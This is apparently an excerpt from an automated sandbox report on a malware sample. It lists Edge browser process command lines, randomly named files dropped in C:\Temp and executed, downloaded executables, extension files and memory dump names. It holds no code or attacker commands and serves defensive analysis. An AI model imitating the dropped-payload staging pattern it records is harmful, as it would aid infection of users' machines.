C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,12697097136371613772,13502559148611704912,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=6816 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=6368,i,4465437389269091011,9939264087125922249,2097152 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=6964 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1268,i,16732059368718529733,17842001673374662301,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=1276 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4268,i,5251462877896504343,6120106317853541815,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4272,i,3862413418786742452,9090235110478158391,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=1288 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=5392,i,10308368661967533887,5607213061070785955,2097152 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=1480 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4756,i,10909252530805809616,14465450537365045036,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=7012 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3764,i,16816708931730893323,13698424411039601767,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=6856 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3976,i,17996019816784601080,9627031877269982343,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=6252,i,10201686599633513535,2756445678331755881,2097152 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1476,i,10916845459995376378,4156803487087776163,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5456,i,1015601094233253042,359731610022860259,262144 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5668,i,6065977871597060541,2268181457498599365,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\igaytqljdbvtnlgd.sysC:\Temp\igaytqljdbvtnlgd.sys1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\igaysqkica.sysC:\Temp\igaysqkica.sys1⤵
- Executes dropped EXE
-
C:\Temp\causmkicau.sysC:\Temp\causmkicau.sys1⤵
- Executes dropped EXE
-
C:\Temp\cxvsnkfdxv.sysC:\Temp\cxvsnkfdxv.sys1⤵
- Executes dropped EXE
-
C:\Temp\czxupmkecz.sysC:\Temp\czxupmkecz.sys1⤵
- Executes dropped EXE
-
C:\Temp\jhbzwrpjhb.sysC:\Temp\jhbzwrpjhb.sys1⤵
- Executes dropped EXE
-
C:\Temp\eywuomgeyw.sysC:\Temp\eywuomgeyw.sys1⤵
- Executes dropped EXE
-
C:\Temp\omgebztrom.sysC:\Temp\omgebztrom.sys1⤵
- Executes dropped EXE
-
C:\Temp\gdywqoigay.sysC:\Temp\gdywqoigay.sys1⤵
- Executes dropped EXE
-
C:\Temp\avtnligays.sysC:\Temp\avtnligays.sys1⤵
- Executes dropped EXE
-
C:\Temp\vpnkfdxvsn.sysC:\Temp\vpnkfdxvsn.sys1⤵
- Executes dropped EXE
-
C:\Temp\xusqkicaxs.sysC:\Temp\xusqkicaxs.sys1⤵
-
C:\Temp\uspkhczxrp.sysC:\Temp\uspkhczxrp.sys1⤵
-
C:\Temp\zurmkecwur.sysC:\Temp\zurmkecwur.sys1⤵
-
C:\Temp\mgeywtrpjg.sysC:\Temp\mgeywtrpjg.sys1⤵
-
C:\Temp\wtomgeywqo.sysC:\Temp\wtomgeywqo.sys1⤵
-
C:\Temp\olgdbywqol.sysC:\Temp\olgdbywqol.sys1⤵
-
C:\Temp\tnlfdyvqoi.sysC:\Temp\tnlfdyvqoi.sys1⤵
-
C:\Temp\yvqoigsqki.sysC:\Temp\yvqoigsqki.sys1⤵
-
C:\Temp\usqnlfdays.sysC:\Temp\usqnlfdays.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
axvsnkiday.exe
causmkicau.sys
cxvsnkfdxv.sys
czxupmkecz.sys
hczwupjhcz.exe
i_axvsnkiday.exe
i_hczwupjhcz.exe
i_olgaywqoig.exe
i_usmkfcxupn.exe
i_uspkhfdxvp.exe
igaysqkica.sys
igaytqljdbvtnlgd.exe
igaytqljdbvtnlgd.sys
jhbzwrpjhb.sys
olgaywqoig.exe
usmkfcxupn.exe
uspkhfdxvp.exe
52da9c6b-e3a7-4ce6-8fde-388aa2def905.tmp
53974341-fc39-428c-9c4a-9db9d3c87485.tmp
59392f33-bdc6-493d-922b-90e56342f7ee.tmp
7f3eb57d-f141-4e66-9b48-a1b7b33bbcce.tmp
settings.dat
settings.dat
4b3a174d-056b-4c52-bfd2-7d3595b063ab.tmp
5105ab46-4937-49e6-a59a-2c4f47375de1.tmp
6120d84b-07a7-49f2-82b6-468a97b10314.tmp
8ba79dc2-cf55-41ad-bc63-8452b6d81abb.tmp
99d52c99-b679-45a5-96bb-d707517d486f.tmp
temp-index
c7ed41da-9130-4f7e-a5f0-6e991db37727.tmp
dasherSettingSchema.json
268276b4-0e9d-42dd-a83a-a9741ce09ee1.tmp
4c78f2af-02b3-4ecd-919b-b6945ca76fcd.tmp
SCT Auditing Pending Reports
sync_diagnostic.log
c423b56f-c11c-4fa4-b9e8-b0b2ef50ee4d.tmp
b3d32469-cbc8-472d-9e0d-e5c8bc6e102f.tmp
b945ca22-a4d0-45c9-a173-b31646f78866.tmp
c314de12-2d90-42c6-a0ed-fb45bbf23085.tmp
147d3a2e-1d8d-40c1-b146-cee15d2643e1.tmp
4affa84c-f71c-40f8-889c-daf88e9d0ee2.tmp
6d0f76e3-dfd1-4245-b741-9c2e422169af.tmp
d5f4f41e-1380-401d-896f-a2797d873297.tmp
3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
480e367c-03f7-4c88-a45d-844efe99db2e.tmp
734a3537-2da5-4d20-b47d-ffabfc399b4a.tmp
62d7d051-1cc7-4108-ae73-e12abe323e5f.tmp
ed052b7e-a1cc-45fb-94d3-183dcf3106be.tmp
messages.json
content.js
manifest.json
manifest.json
manifest.json
manifest.json
CreateProcess.exe
memory/1088-655-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1116-575-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1240-651-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2124-484-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2832-481-0x000001B638900000-0x000001B638CBB000-memory.dmp
memory/2832-472-0x000001B638900000-0x000001B638CBB000-memory.dmp
memory/3048-714-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3328-555-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3384-609-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3460-689-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3460-675-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3704-559-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4432-432-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4564-687-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4668-62-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4668-467-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4676-535-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4816-621-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4836-521-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4936-528-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4936-509-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5040-579-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5412-736-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5484-718-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5572-692-0x0000000000010000-0x00000000000AB000-memory.dmp